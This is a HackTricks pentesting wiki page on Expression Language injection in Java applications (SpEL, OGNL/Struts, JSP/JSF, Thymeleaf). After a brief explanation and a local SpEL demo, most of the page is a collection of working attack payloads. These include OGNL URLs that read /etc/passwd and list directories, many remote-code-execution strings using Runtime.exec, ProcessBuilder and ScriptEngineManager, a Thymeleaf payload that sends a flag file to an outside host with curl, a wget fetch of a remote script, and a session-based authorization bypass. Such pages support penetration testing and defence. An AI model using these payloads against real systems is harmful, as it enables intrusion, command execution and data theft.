HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
EL - Expression Language
Support HackTricks and get benefits!

Basic Information

EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans).

Where is it used ?

  1. 1.
    Spring Framework: Security, Data, โ€ฆ
  2. 2.
    Any place developers use it by SpEL API
  3. 3.
    For languages it can be used in Java, Kotlin, Scala, and other JVM based technologies.
The EL is used by several JavaEE technologies, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). The EL can also be used in stand-alone environments.
Java applications are easily recognizable as they tend to use extensions as .jsp or .jsf, throw stack errors and use term like "Serverlet" in the headers.
Depending on the EL version some features might be On or Off and usually some characters may be disallowed.

Basic Example

(You can find another interesting tutorial about EL in https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)
Download from the Maven repository the jar files:
  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar
And create a the following Main.java file:
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
โ€‹
public class Main {
public static ExpressionParser PARSER;
โ€‹
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
โ€‹
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
Next compile the code (if you don't have javac installed, install sudo apt install default-jdk):
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
Execute the application with:
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
Note how in the previous example the term {5*5} was evaluated.

CVE Example

From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Letโ€™s check one that allow remote code execution (RCE). It was created as part of exploit for CVE-2017โ€“8046.
Image for post
It consist of 3 parts:
  • black color โ€” copy result of command execution directly to output stream of HTTP request
  • red color โ€” get Java Runtime and execute command in system
  • blue color โ€” String containing command: cmd /c dir. To make it more robust individual characters of command are decoded from numbers.
Result of executing it:
Image for post

Payloads

Basic actions

#Basic string operations examples
{"a".toString()}
[a]
โ€‹
{"dfd".replace("d","x")}
[xfx]
โ€‹
#Access to the String class
{"".getClass()}
[class java.lang.String]
โ€‹
#Access ro the String class bypassing "getClass"
#{""["class"]}
โ€‹
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
โ€‹
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Detection

  • Burp detection
gk6q${โ€œzkzโ€.toString().replace(โ€œkโ€, โ€œxโ€)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • J2EE detection
#J2EEScan Detection vector (substitute the content of the response body with the content of the โ€œINJPARAMโ€ parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • Sleep 10 secs
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Remote File Inclusion

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Directory Listing

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%[email protected]@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • Basic RCE explanation
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
โ€‹
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
โ€‹
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
โ€‹
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%[email protected]@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (not tested)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%[email protected]@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • More RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
โ€‹
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
โ€‹
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
โ€‹
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
โ€‹
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
โ€‹
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
โ€‹
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspecting the environment

  • applicationScope - global application variables
  • requestScope - request variables
  • initParam - application initialization variables
  • sessionScope - session variables
  • param.X - param value where X is the name of a http parameter
You will need to cast this variables to String like:
${sessionScope.toString()}

Authorization bypass example

${pageContext.request.getSession().setAttribute("admin", true)}
The application can also use custom variables like:
${user}
${password}
${employee.FirstName}

References

Support HackTricks and get benefits!
Copy link
On this page
Basic Information
Where is it used ?
Basic Example
CVE Example
Payloads
Basic actions
Detection
Remote File Inclusion
Directory Listing
RCE
Inspecting the environment
References